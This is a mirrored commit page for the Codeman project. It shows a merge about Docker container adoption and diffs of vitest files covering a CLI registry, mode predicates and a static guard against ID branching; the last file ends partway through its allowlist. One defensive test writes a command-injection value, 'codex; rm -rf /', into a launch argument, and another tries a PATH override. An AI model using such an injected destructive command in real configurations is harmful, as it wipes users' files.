mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-09-30 12:39:42 +02:00
Merge pull request #357 from dignfei/feat/docker-adopt-existing-container
feat(docker): attach a case to an already-running container Conflicts came from work that landed after the PR was opened, and each is resolved onto the newer abstraction rather than by keeping the older code: - `defaultDockerCommandForMode` is registry-driven since #347, so the PR's `runsAsRoot` arm became `overlays.docker.rootCommand` (claude only). Claude Code still refuses `--dangerously-skip-permissions` as root in 2.1.261 and the refusal is visible only inside the container, so an adopted root container otherwise just shows a dead pane. Which flag to drop is a per-CLI fact, and `test/cli-registry-no-id-branching.test.ts` forbids expressing it as a branch. - The probe's mode list and its mode -> binary table both duplicated the registry. They now read `enabledCliIds()` / `discovery.binaries[0]`, which is also what fixes the merge's silent regression: the hand-written list predates `omp`, and the run menu gates every docker case on this probe, so owned containers would have lost that mode. `shell` needs no arm — it declares no binary, so it is dropped from the lookup and reported available regardless. - The per-mode `mode === 'claude' && !cliDir` chain in `tmux-manager.ts` is one `missingCliMessage(mode)` gate since #347; the PR's docker exemption moved onto it. Its test now pins the single gate instead of counting seven arms. - The create arm keeps #349's swap-limit warning filter, which the adopted arm never reaches; the run-mode list gains `omp` from #353. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01TecFD9hvPYJ1mkkMtBQbT1
This commit is contained in:
@@ -48,7 +48,7 @@ import { describe, expect, it } from 'vitest';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { join } from 'node:path';
|
||||
import { CreateSessionSchema, QuickStartSchema } from '../src/web/schemas.js';
|
||||
import { CreateSessionSchema, QuickStartSchema, sessionModeIds } from '../src/web/schemas.js';
|
||||
import { isExternalCliMode } from '../src/session.js';
|
||||
import { hooksAvailableForMode } from '../src/web/session-wait-registry.js';
|
||||
import type { SessionMode } from '../src/types/session.js';
|
||||
@@ -63,14 +63,20 @@ const SKILL_FILES = [
|
||||
'reference/verbs.md',
|
||||
];
|
||||
|
||||
/** Modes the API actually accepts, read off the schema rather than restated here. */
|
||||
function schemaModes(schema: typeof CreateSessionSchema | typeof QuickStartSchema): SessionMode[] {
|
||||
// `mode` is `z.enum([...]).optional()`; unwrap the optional to reach `.options`.
|
||||
return (schema as unknown as { shape: { mode: { unwrap(): { options: SessionMode[] } } } }).shape.mode.unwrap()
|
||||
.options;
|
||||
/**
|
||||
* Modes the API actually accepts, read off the runtime source of truth rather than restated
|
||||
* here — the whole point of this file is to catch the skill docs drifting from what the API
|
||||
* takes, which a second hardcoded list could not do.
|
||||
*
|
||||
* `mode` used to be a `z.enum([...])` whose `.options` this unwrapped. It is now resolved at
|
||||
* parse time from the enabled CLI registry (so enabling a CLI does not need a restart), and
|
||||
* there is no frozen member list on the schema to read; `sessionModeIds()` is that list.
|
||||
*/
|
||||
function schemaModes(): SessionMode[] {
|
||||
return sessionModeIds() as SessionMode[];
|
||||
}
|
||||
|
||||
const MODES = schemaModes(CreateSessionSchema);
|
||||
const MODES = schemaModes();
|
||||
const EXTERNAL_MODES = MODES.filter(isExternalCliMode);
|
||||
|
||||
/**
|
||||
@@ -101,10 +107,21 @@ function modesIn(run: string): SessionMode[] {
|
||||
}
|
||||
|
||||
describe('agent skill run-mode lists', () => {
|
||||
it('derives the mode list from the schema, and both endpoints agree', () => {
|
||||
it('derives the mode list from the registry, and both endpoints agree', () => {
|
||||
expect(MODES).toContain('pi');
|
||||
expect(new Set(schemaModes(QuickStartSchema))).toEqual(new Set(MODES));
|
||||
expect(EXTERNAL_MODES.length).toBeGreaterThan(1);
|
||||
// Guard against a parsing/registry regression silently making every scan below vacuous.
|
||||
expect(MODES.length).toBeGreaterThanOrEqual(9);
|
||||
|
||||
// Both endpoints now share one mode validator, so comparing member lists would compare
|
||||
// a thing with itself. Parse through each schema instead: that survives the two
|
||||
// drifting apart later, which is what this assertion is actually for.
|
||||
for (const mode of MODES) {
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode }).success).toBe(true);
|
||||
expect(QuickStartSchema.safeParse({ caseName: 'demo', mode }).success).toBe(true);
|
||||
}
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'not-a-cli' }).success).toBe(false);
|
||||
expect(QuickStartSchema.safeParse({ caseName: 'demo', mode: 'not-a-cli' }).success).toBe(false);
|
||||
});
|
||||
|
||||
it('documents the CLI availability probe for every agent mode', () => {
|
||||
|
||||
@@ -120,13 +120,31 @@ describe('App Settings modal structure', () => {
|
||||
const select = modal.match(/id="appSettingsClaudeModel"([\s\S]*?)<\/select>/)?.[1] ?? '';
|
||||
// The cards render the base models; the [1m] rows exist so that base + the
|
||||
// context switch can compose back into a real claudeModel value.
|
||||
for (const value of ['opus[1m]', 'claude-fable-5[1m]', 'claude-opus-4-6[1m]']) {
|
||||
for (const value of ['opus[1m]', 'claude-fable-5[1m]', 'claude-fable-5-1[1m]', 'claude-opus-4-6[1m]']) {
|
||||
expect(select).toContain(`value="${value}"`);
|
||||
}
|
||||
expect(select).toContain('data-ctx="1"');
|
||||
expect(modal).toContain('id="appSettingsOpusContext1m"');
|
||||
});
|
||||
|
||||
it('models: offers Fable 5.1 as a card and to task routing', () => {
|
||||
const modal = settingsModal();
|
||||
const select = modal.match(/id="appSettingsClaudeModel"([\s\S]*?)<\/select>/)?.[1] ?? '';
|
||||
// The cards are built from these options, so data-ctx is what keeps the 1M
|
||||
// switch live for the model rather than greying the row out.
|
||||
expect(select).toMatch(/value="claude-fable-5-1"[^>]*data-ctx="1"/);
|
||||
for (const id of [
|
||||
'appSettingsDefaultModel',
|
||||
'appSettingsModelExplore',
|
||||
'appSettingsModelImplement',
|
||||
'appSettingsModelTest',
|
||||
'appSettingsModelReview',
|
||||
]) {
|
||||
const routing = modal.match(new RegExp(`id="${id}"([\\s\\S]*?)</select>`))?.[1] ?? '';
|
||||
expect(routing, `${id} does not offer Fable 5.1`).toContain('value="claude-fable-5-1"');
|
||||
}
|
||||
});
|
||||
|
||||
it('has retired the modal-tab chrome everywhere, not just here', () => {
|
||||
// Session Options and Add Case moved onto this same `set-*` surface, so the
|
||||
// old tab classes have no users left. A reappearance means a modal drifted
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
/**
|
||||
* @fileoverview The three per-mode predicates that used to be hand-written id lists, and the
|
||||
* invariant that they are INDEPENDENT.
|
||||
*
|
||||
* `isExternalCliMode()`, `isAltScreenStripMode()` and `hooksAvailableForMode()` describe three
|
||||
* different, deliberately unequal sets. Deriving any one of them from another looks like a
|
||||
* tidy-up and has already shipped a bug: `shell` has no hooks but is NOT an external CLI, so
|
||||
* a hooks predicate written as `!isExternalCliMode()` accepted `until=stop` on a shell session
|
||||
* and then blocked the caller for their entire timeout — an infinite wait wearing a timeout's
|
||||
* clothes, which is precisely what that guard exists to prevent.
|
||||
*
|
||||
* Keeping them as three separate `CliCapabilities` fields makes that structural. This file is
|
||||
* what stops someone collapsing them again.
|
||||
*
|
||||
* Port: none (pure predicates over registry data).
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { isExternalCliMode, isAltScreenStripMode } from '../src/session.js';
|
||||
import { hooksAvailableForMode } from '../src/web/session-wait-registry.js';
|
||||
import { enabledCliIds } from '../src/config/cli-registry/registry.js';
|
||||
import type { SessionMode } from '../src/types/session.js';
|
||||
|
||||
const MODES = enabledCliIds() as SessionMode[];
|
||||
|
||||
describe('per-mode capability predicates', () => {
|
||||
it.each([
|
||||
// mode external altScreenStrip hooks
|
||||
['claude', false, true, true],
|
||||
['shell', false, false, false],
|
||||
['opencode', true, false, false],
|
||||
['codex', true, true, false],
|
||||
['gemini', true, true, false],
|
||||
['antigravity', true, false, false],
|
||||
['pi', true, false, false],
|
||||
['grok', true, false, false],
|
||||
['deepseek', true, false, true],
|
||||
['omp', true, false, false],
|
||||
] as Array<[SessionMode, boolean, boolean, boolean]>)(
|
||||
'%s: external=%s altScreenStrip=%s hooks=%s',
|
||||
(mode, external, altScreen, hooks) => {
|
||||
expect(isExternalCliMode(mode)).toBe(external);
|
||||
expect(isAltScreenStripMode(mode)).toBe(altScreen);
|
||||
expect(hooksAvailableForMode(mode)).toBe(hooks);
|
||||
}
|
||||
);
|
||||
|
||||
it('covers every enabled mode (sanity)', () => {
|
||||
// If a CLI is added without a row above, this fails rather than the table silently
|
||||
// describing a subset of reality.
|
||||
expect(MODES.length).toBe(10);
|
||||
});
|
||||
|
||||
it('keeps the three predicates genuinely distinct', () => {
|
||||
// Not "they happen to differ today" — each pair differs on a NAMED mode, and each of
|
||||
// those disagreements is load-bearing.
|
||||
const external = MODES.filter(isExternalCliMode);
|
||||
const altScreen = MODES.filter(isAltScreenStripMode);
|
||||
const hooks = MODES.filter((m) => hooksAvailableForMode(m));
|
||||
|
||||
expect(external).not.toEqual(altScreen);
|
||||
expect(external).not.toEqual(hooks);
|
||||
expect(altScreen).not.toEqual(hooks);
|
||||
|
||||
// claude is the mode that separates all three: not external, IS stripped, HAS hooks.
|
||||
expect(isExternalCliMode('claude')).toBe(false);
|
||||
expect(isAltScreenStripMode('claude')).toBe(true);
|
||||
expect(hooksAvailableForMode('claude')).toBe(true);
|
||||
// deepseek is external AND has hooks — the pairing that makes "external ⇒ no hooks" false.
|
||||
expect(isExternalCliMode('deepseek')).toBe(true);
|
||||
expect(hooksAvailableForMode('deepseek')).toBe(true);
|
||||
});
|
||||
|
||||
it('does not accept a hook-only wait on a shell session', () => {
|
||||
// The exact historical bug, reproduced. `shell` is not external, so any hooks predicate
|
||||
// derived from `isExternalCliMode` would answer true here and hang the caller.
|
||||
expect(isExternalCliMode('shell')).toBe(false);
|
||||
expect(hooksAvailableForMode('shell')).toBe(false);
|
||||
});
|
||||
|
||||
it("treats deepseek's hooks as a per-SESSION question, not a per-mode one", () => {
|
||||
// 'supervised': real signals, but only while this session's bridge is actually armed and
|
||||
// reachable. Answering from the mode alone promises a `stop` that never arrives.
|
||||
expect(hooksAvailableForMode('deepseek')).toBe(true);
|
||||
expect(hooksAvailableForMode('deepseek', { deepSeekStatusReporting: false })).toBe(false);
|
||||
expect(hooksAvailableForMode('deepseek', { deepSeekBridgeUnreachable: true })).toBe(false);
|
||||
// claude's are unconditional, so the same options change nothing.
|
||||
expect(hooksAvailableForMode('claude', { deepSeekStatusReporting: false })).toBe(true);
|
||||
expect(hooksAvailableForMode('claude', { deepSeekBridgeUnreachable: true })).toBe(true);
|
||||
});
|
||||
|
||||
it('falls back conservatively for an unregistered mode', () => {
|
||||
const unknown = 'not-a-cli' as SessionMode;
|
||||
// External: disables Claude-specific parsing rather than pointing it at foreign output.
|
||||
expect(isExternalCliMode(unknown)).toBe(true);
|
||||
// No hooks: never promise a signal nothing will send.
|
||||
expect(hooksAvailableForMode(unknown)).toBe(false);
|
||||
// No full strip: leaving the alt screen alone is the safe default for an unknown TUI.
|
||||
expect(isAltScreenStripMode(unknown)).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,228 @@
|
||||
/**
|
||||
* @fileoverview Loading and merging `~/.codeman/clis.json` over the stock catalog.
|
||||
*
|
||||
* Two properties matter most here and neither is obvious from reading the loader:
|
||||
*
|
||||
* 1. A BAD OVERRIDE MUST NOT BRICK A SHIPPED CLI. The file is hand-editable, so a typo is a
|
||||
* matter of when, not if. A stock entry that fails validation after merge falls back to
|
||||
* its pristine definition; a custom entry that fails is dropped. Neither takes the rest
|
||||
* of the catalog down with it.
|
||||
* 2. LOADING WRITES NOTHING. There is no settings UI and no write API in this build, so
|
||||
* there is nothing to persist — and `src/web/schemas.ts` imports the registry just to
|
||||
* validate a request, which would make any write here a filesystem side effect of
|
||||
* parsing HTTP input.
|
||||
*
|
||||
* Port: none (`resolveRegistry` is pure; the on-disk cases use the per-file temp HOME from
|
||||
* test/setup.ts).
|
||||
*/
|
||||
|
||||
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
|
||||
import { existsSync, mkdirSync, readdirSync, readFileSync, writeFileSync } from 'node:fs';
|
||||
import { dirname } from 'node:path';
|
||||
import { dataPath } from '../src/config/instance.js';
|
||||
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
||||
import { resolveRegistry, loadCliRegistry, reloadCliRegistry, listClis } from '../src/config/cli-registry/registry.js';
|
||||
import type { CliEntry } from '../src/config/cli-registry/types.js';
|
||||
import { CreateSessionSchema, sessionModeIds } from '../src/web/schemas.js';
|
||||
|
||||
/** A complete, valid custom entry — the minimum a user would have to write by hand. */
|
||||
function customEntry(id: string): Record<string, unknown> {
|
||||
const template = STOCK_CLIS.find((e) => (e.id as string) === 'pi');
|
||||
if (!template) throw new Error('pi is missing from the stock catalog');
|
||||
return JSON.parse(JSON.stringify({ ...template, id, label: 'Custom', order: 999 })) as Record<string, unknown>;
|
||||
}
|
||||
|
||||
function writeRegistryFile(contents: unknown): void {
|
||||
const path = dataPath('clis.json');
|
||||
mkdirSync(dirname(path), { recursive: true });
|
||||
writeFileSync(path, typeof contents === 'string' ? contents : JSON.stringify(contents, null, 2), { mode: 0o600 });
|
||||
}
|
||||
|
||||
describe('resolveRegistry (pure)', () => {
|
||||
it('returns the stock catalog unchanged when there is no file', () => {
|
||||
const warnings: string[] = [];
|
||||
const { entries } = resolveRegistry(STOCK_CLIS, null, warnings);
|
||||
expect(warnings).toEqual([]);
|
||||
expect(entries.map((e) => e.id as string)).toEqual(STOCK_CLIS.map((e) => e.id as string));
|
||||
expect(entries.every((e) => e.stock)).toBe(true);
|
||||
});
|
||||
|
||||
it('applies a partial override without disturbing anything else', () => {
|
||||
const warnings: string[] = [];
|
||||
const { entries } = resolveRegistry(STOCK_CLIS, { schemaVersion: 1, clis: { grok: { enabled: false } } }, warnings);
|
||||
expect(warnings).toEqual([]);
|
||||
const byId = new Map(entries.map((e) => [e.id as string, e]));
|
||||
expect(byId.get('grok')?.enabled).toBe(false);
|
||||
// The override touched one key; everything else about grok, and every other CLI, stands.
|
||||
expect(byId.get('grok')?.launch.variants[0].args[0]).toEqual({ lit: 'grok' });
|
||||
expect(entries.filter((e) => e.enabled).length).toBe(STOCK_CLIS.length - 1);
|
||||
});
|
||||
|
||||
it('replaces arrays wholesale rather than merging them element-wise', () => {
|
||||
// A half-merged searchDirs (or worse, a half-merged args list) is not a reasonable
|
||||
// thing to hand a spawn path, so arrays replace.
|
||||
const warnings: string[] = [];
|
||||
const { entries } = resolveRegistry(
|
||||
STOCK_CLIS,
|
||||
{ schemaVersion: 1, clis: { pi: { discovery: { searchDirs: ['/only/this'] } } } },
|
||||
warnings
|
||||
);
|
||||
expect(entries.find((e) => (e.id as string) === 'pi')?.discovery.searchDirs).toEqual(['/only/this']);
|
||||
});
|
||||
|
||||
it('adds a well-formed custom entry', () => {
|
||||
const warnings: string[] = [];
|
||||
const { entries } = resolveRegistry(
|
||||
STOCK_CLIS,
|
||||
{ schemaVersion: 1, clis: { mycli: customEntry('mycli') } },
|
||||
warnings
|
||||
);
|
||||
expect(warnings).toEqual([]);
|
||||
const mine = entries.find((e) => (e.id as string) === 'mycli');
|
||||
expect(mine?.label).toBe('Custom');
|
||||
// Forced false regardless of what the file claimed — provenance is not user-assertable.
|
||||
expect(mine?.stock).toBe(false);
|
||||
});
|
||||
|
||||
it('drops an invalid custom entry but keeps the whole stock catalog', () => {
|
||||
const warnings: string[] = [];
|
||||
const { entries } = resolveRegistry(
|
||||
STOCK_CLIS,
|
||||
{ schemaVersion: 1, clis: { broken: { label: 'nope' } } },
|
||||
warnings
|
||||
);
|
||||
expect(entries.map((e) => e.id as string)).toEqual(STOCK_CLIS.map((e) => e.id as string));
|
||||
expect(warnings.join(' ')).toContain('broken');
|
||||
});
|
||||
|
||||
it('falls back to the PRISTINE definition when an override breaks a stock CLI', () => {
|
||||
// This is the one that matters: a fat-fingered override of a shipped CLI must degrade to
|
||||
// the shipped behaviour, never to a CLI that cannot launch.
|
||||
const warnings: string[] = [];
|
||||
const { entries } = resolveRegistry(
|
||||
STOCK_CLIS,
|
||||
{
|
||||
schemaVersion: 1,
|
||||
clis: { codex: { launch: { variants: [{ id: 'x', args: [{ lit: 'codex; rm -rf /' }] }] } } },
|
||||
},
|
||||
warnings
|
||||
);
|
||||
const codex = entries.find((e) => (e.id as string) === 'codex');
|
||||
expect(codex?.launch.variants[0].args[0]).toEqual({ lit: 'codex' });
|
||||
expect(warnings.join(' ')).toContain('codex');
|
||||
});
|
||||
|
||||
it('refuses to let a custom entry impersonate a stock one', () => {
|
||||
const warnings: string[] = [];
|
||||
const impostor = { ...customEntry('grok'), stock: true, label: 'Not Grok' };
|
||||
const { entries } = resolveRegistry(STOCK_CLIS, { schemaVersion: 1, clis: { grok: impostor } }, warnings);
|
||||
const grok = entries.filter((e) => (e.id as string) === 'grok');
|
||||
expect(grok).toHaveLength(1);
|
||||
expect(grok[0].stock).toBe(true);
|
||||
});
|
||||
|
||||
it('sorts by order', () => {
|
||||
const { entries } = resolveRegistry(STOCK_CLIS, null, []);
|
||||
const orders = entries.map((e) => e.order);
|
||||
expect([...orders].sort((a, b) => a - b)).toEqual(orders);
|
||||
});
|
||||
});
|
||||
|
||||
describe('loadCliRegistry (on disk)', () => {
|
||||
beforeEach(() => reloadCliRegistry());
|
||||
afterEach(() => reloadCliRegistry());
|
||||
|
||||
it('WRITES NOTHING when no file exists', () => {
|
||||
const path = dataPath('clis.json');
|
||||
expect(existsSync(path)).toBe(false);
|
||||
const { entries, warnings } = loadCliRegistry();
|
||||
expect(entries).toHaveLength(STOCK_CLIS.length);
|
||||
expect(warnings).toEqual([]);
|
||||
// The whole reason this build has no seeding ratchet: importing the registry (which
|
||||
// schemas.ts does, to validate a request) must not touch the filesystem.
|
||||
expect(existsSync(path)).toBe(false);
|
||||
});
|
||||
|
||||
it('WRITES NOTHING when a file does exist', () => {
|
||||
writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } });
|
||||
const before = readFileSync(dataPath('clis.json'), 'utf-8');
|
||||
loadCliRegistry();
|
||||
expect(readFileSync(dataPath('clis.json'), 'utf-8')).toBe(before);
|
||||
});
|
||||
|
||||
it('tolerates a file written by a future version that carries seededStockIds', () => {
|
||||
// Forward compatibility: a later build persists that key. Reading it must not fail.
|
||||
writeRegistryFile({ schemaVersion: 1, seededStockIds: ['claude', 'shell'], clis: {} });
|
||||
const { entries, warnings } = loadCliRegistry();
|
||||
expect(entries).toHaveLength(STOCK_CLIS.length);
|
||||
expect(warnings).toEqual([]);
|
||||
});
|
||||
|
||||
it('QUARANTINES malformed JSON rather than overwriting it', () => {
|
||||
// The file is hand-editable, so a syntax error is far more likely to be a half-finished
|
||||
// edit than junk. Renaming keeps the user's work; truncating would destroy it.
|
||||
writeRegistryFile('{ "clis": { oops');
|
||||
const { entries, warnings } = loadCliRegistry();
|
||||
expect(entries).toHaveLength(STOCK_CLIS.length);
|
||||
expect(warnings.join(' ')).toContain('not valid JSON');
|
||||
const siblings = readdirSync(dirname(dataPath('clis.json')));
|
||||
expect(siblings.some((f) => f.startsWith('clis.json.invalid-'))).toBe(true);
|
||||
expect(siblings).not.toContain('clis.json');
|
||||
});
|
||||
});
|
||||
|
||||
describe('the mode allowlist resolves at PARSE time, not import time', () => {
|
||||
beforeEach(() => reloadCliRegistry());
|
||||
afterEach(() => reloadCliRegistry());
|
||||
|
||||
it('stops accepting a mode as soon as its CLI is disabled — no restart', () => {
|
||||
// The regression this pins: SESSION_MODE_IDS used to be computed once at module load,
|
||||
// so toggling a CLI updated the Run menu while `POST /api/sessions` kept answering
|
||||
// INVALID_INPUT until the server restarted. Validation and the menu disagreed about
|
||||
// which CLIs existed, and the flow the feature was built around simply did not work.
|
||||
expect(sessionModeIds()).toContain('grok');
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'grok' }).success).toBe(true);
|
||||
|
||||
writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } });
|
||||
reloadCliRegistry();
|
||||
|
||||
expect(sessionModeIds()).not.toContain('grok');
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'grok' }).success).toBe(false);
|
||||
// ...and the schema object itself was never rebuilt.
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'claude' }).success).toBe(true);
|
||||
});
|
||||
|
||||
it('admits a custom CLI as a run mode the moment it loads', () => {
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'mycli' }).success).toBe(false);
|
||||
writeRegistryFile({ schemaVersion: 1, clis: { mycli: customEntry('mycli') } });
|
||||
reloadCliRegistry();
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'mycli' }).success).toBe(true);
|
||||
});
|
||||
|
||||
it('follows the registry for env-prefix allowlisting too', () => {
|
||||
// Same import-time freeze applied to ALLOWED_ENV_PREFIXES, with the same symptom.
|
||||
const withGrokEnv = { workingDir: '/tmp', mode: 'claude', envOverrides: { XAI_API_KEY: 'x' } };
|
||||
expect(CreateSessionSchema.safeParse(withGrokEnv).success).toBe(true);
|
||||
|
||||
writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } });
|
||||
reloadCliRegistry();
|
||||
|
||||
// XAI_ was grok's contribution; with grok disabled nothing allowlists it any more.
|
||||
expect(CreateSessionSchema.safeParse(withGrokEnv).success).toBe(false);
|
||||
});
|
||||
|
||||
it('never lets a registry entry unblock a hard-blocked key', () => {
|
||||
// BLOCKED_ENV_KEYS is deliberately NOT registry-driven. Even a pathological entry
|
||||
// claiming a prefix that covers everything must not reach PATH.
|
||||
const evil = customEntry('evil');
|
||||
(evil as { env: { allowedPrefixes: string[] } }).env.allowedPrefixes = ['P'];
|
||||
writeRegistryFile({ schemaVersion: 1, clis: { evil } });
|
||||
reloadCliRegistry();
|
||||
// The schema rejects a 1-char prefix outright, so the entry is dropped...
|
||||
expect(listClis().some((e) => (e.id as string) === 'evil')).toBe(false);
|
||||
// ...and PATH stays blocked regardless.
|
||||
expect(
|
||||
CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'claude', envOverrides: { PATH: '/evil' } }).success
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,373 @@
|
||||
/**
|
||||
* @fileoverview Static guard: no code outside the stock catalog branches on a CLI's ID.
|
||||
*
|
||||
* The whole point of the registry is that behaviour which differs between CLIs is DATA (a
|
||||
* `CliEntry` field) or a NAMED PROFILE selected by a field — never `mode === 'codex'`. A
|
||||
* single reintroduced id-check is how the old shape grows back, one "just this once" at a
|
||||
* time, until adding a CLI means editing forty files again.
|
||||
*
|
||||
* This guard was cited by name in three separate file headers of an earlier attempt at this
|
||||
* refactor and never actually written — and in its absence four id-branches survived that
|
||||
* migration, one of them dead code sitting directly under the generic check that replaced it.
|
||||
* So the guard is not decoration: it is the thing that makes the rule true rather than
|
||||
* aspirational.
|
||||
*
|
||||
* ## What is allowlisted, and why an allowlist rather than zero
|
||||
*
|
||||
* Some branches are not CLI-behaviour branches at all, and forcing them through a capability
|
||||
* would make the code worse, not better. Each entry below carries its reason. The categories:
|
||||
*
|
||||
* - **Legacy `<Mode>Config` plumbing.** `POST /api/sessions` has carried named per-CLI
|
||||
* config objects since before the registry, and `docs/versioning-policy.md` makes that
|
||||
* wire shape public. Selecting `codexConfig` for codex is a fact about the HTTP API, not
|
||||
* about codex, and the `Session` constructor mirrors it. The registry already owns the
|
||||
* translation (`launch.legacyConfigField`); collapsing the constructor too is a public-API
|
||||
* change and belongs in its own PR.
|
||||
* - **Claude's remote/docker command construction.** Claude's pane command varies with the
|
||||
* session's permission mode and its docker form is `--session-id … || resume`, semantics
|
||||
* no other CLI has and a static `overlays.command` string cannot express.
|
||||
* - **Genuinely per-CLI prose.** One error message that explains why a deepseek session in
|
||||
* particular will never deliver a `stop` signal.
|
||||
*
|
||||
* ⚠️ Adding an entry here is a decision, not a formality. If the branch is about what a CLI
|
||||
* CAN DO, it belongs in `CliCapabilities` instead — and if it needs to run code, in
|
||||
* `config/cli-registry/profiles.ts` as a named profile.
|
||||
*
|
||||
* Port: none (pure static analysis).
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { readdirSync, readFileSync, statSync } from 'node:fs';
|
||||
import { join, relative, sep } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
||||
|
||||
const SRC = fileURLToPath(new URL('../src', import.meta.url));
|
||||
|
||||
/**
|
||||
* Files exempt from the scan entirely, because naming CLI ids IS their job.
|
||||
*
|
||||
* `stock.ts` is the catalog. The per-CLI resolver modules are each ABOUT one CLI and look up
|
||||
* their own entry by id — the same reason the catalog may, and the reason they are not a
|
||||
* loophole: they resolve a binary, they decide no behaviour.
|
||||
*/
|
||||
const EXEMPT_FILES = new Set(
|
||||
[
|
||||
'config/cli-registry/stock.ts',
|
||||
'utils/claude-cli-resolver.ts',
|
||||
'utils/opencode-cli-resolver.ts',
|
||||
'utils/codex-cli-resolver.ts',
|
||||
'utils/gemini-cli-resolver.ts',
|
||||
'utils/antigravity-cli-resolver.ts',
|
||||
'utils/pi-cli-resolver.ts',
|
||||
'utils/grok-cli-resolver.ts',
|
||||
'utils/deepseek-cli-resolver.ts',
|
||||
// Names the deepseek launcher profile's implementation; keyed by profile, not by id.
|
||||
'utils/cli-launcher.ts',
|
||||
].map((p) => p.split('/').join(sep))
|
||||
);
|
||||
|
||||
/**
|
||||
* Specific surviving branches, each with the reason it is not a capability.
|
||||
* Keyed `<relative path>::<the matched expression>`.
|
||||
*/
|
||||
const ALLOWED_BRANCHES: Record<string, string> = {
|
||||
// --- Legacy <Mode>Config plumbing (public wire shape, see the header) ---
|
||||
"web/routes/session-routes.ts::mode === 'opencode'": 'legacy <Mode>Config plumbing',
|
||||
"web/routes/session-routes.ts::mode === 'codex'": 'legacy <Mode>Config plumbing',
|
||||
"web/routes/session-routes.ts::mode === 'gemini'": 'legacy <Mode>Config plumbing',
|
||||
"web/routes/session-routes.ts::mode === 'antigravity'": 'legacy <Mode>Config plumbing',
|
||||
"web/routes/session-routes.ts::mode === 'pi'": 'legacy <Mode>Config plumbing',
|
||||
"web/routes/session-routes.ts::mode === 'grok'": 'legacy <Mode>Config plumbing',
|
||||
"web/routes/session-routes.ts::mode === 'deepseek'": 'legacy <Mode>Config plumbing',
|
||||
"web/server.ts::mode === 'opencode'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'codex'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'gemini'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'antigravity'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'pi'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'grok'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'deepseek'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'omp'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
|
||||
// --- Claude's remote/docker command construction ---
|
||||
"tmux-manager.ts::mode === 'claude'":
|
||||
"claude's remote pane command carries per-session permission flags, and its docker form is " +
|
||||
'`--session-id … || resume`; neither fits a static overlays.command string',
|
||||
|
||||
// --- Per-CLI prose and launch handling not yet generalised ---
|
||||
"web/session-wait-registry.ts::mode === 'deepseek'":
|
||||
'an error message explaining why THIS mode in particular will never deliver a stop signal',
|
||||
"web/routes/approval-routes.ts::mode === 'deepseek'":
|
||||
'the DeepSeek status bridge is the only non-claude source of approval items',
|
||||
"cron/cron-service.ts::mode === 'claude'": 'cron launch handling, not yet generalised',
|
||||
"cron/cron-service.ts::mode === 'shell'": 'cron launch handling, not yet generalised',
|
||||
"web/routes/session-routes.ts::mode === 'claude'": 'docker case bookkeeping keyed on the claude conversation id',
|
||||
"cli.ts::mode === 'shell'": 'a CLI-table label, not behaviour',
|
||||
|
||||
// --- Negated forms surfaced when BRANCH_PATTERN widened past `===` (see its comment) ---
|
||||
//
|
||||
// None of these is a regression: every one predates the registry and survived the
|
||||
// conversion only because the guard could not see `!==`. They are listed here with reasons
|
||||
// rather than silently converted, because each would change behaviour or invent a
|
||||
// capability field, and this change is meant to change nothing a user can see.
|
||||
|
||||
// Read My Mind + intent capture read CLAUDE's OWN transcript, so `mode === 'claude'` is
|
||||
// the right question and `hooksAvailableForMode()` is NOT — once `deepseek` earned a yes
|
||||
// there, the shared predicate silently widened both to a mode with no transcript to read.
|
||||
// CLAUDE.md documents this as deliberate and `test/deepseek-mode.test.ts` pins it, so a
|
||||
// capability here would be actively wrong.
|
||||
"web/routes/readmymind-routes.ts::mode !== 'claude'":
|
||||
'deliberately mode-not-capability; pinned by deepseek-mode.test.ts',
|
||||
"web/server.ts::mode !== 'claude'":
|
||||
"intent capture reads Claude's own transcript, and the recovered-workspace hook sweep " +
|
||||
'writes .claude hooks — both are claude questions, not capability ones (see CLAUDE.md)',
|
||||
|
||||
// The TUI is a CLIENT of the server, and these two are about what it can offer for a row:
|
||||
// resume builds a `claude --resume`, and the mode badge is suppressed for the default mode
|
||||
// purely so the common case reads clean. The badge one is cosmetic and not a capability at
|
||||
// all; the resume one would need a "resumable from a claude transcript" field that nothing
|
||||
// else would read.
|
||||
"tui/tui-app.ts::mode !== 'claude'": 'TUI resume builds a claude --resume; claude-transcript-only by construction',
|
||||
"tui/tui-render.ts::mode !== 'claude'": 'cosmetic: suppress the mode badge for the default mode',
|
||||
|
||||
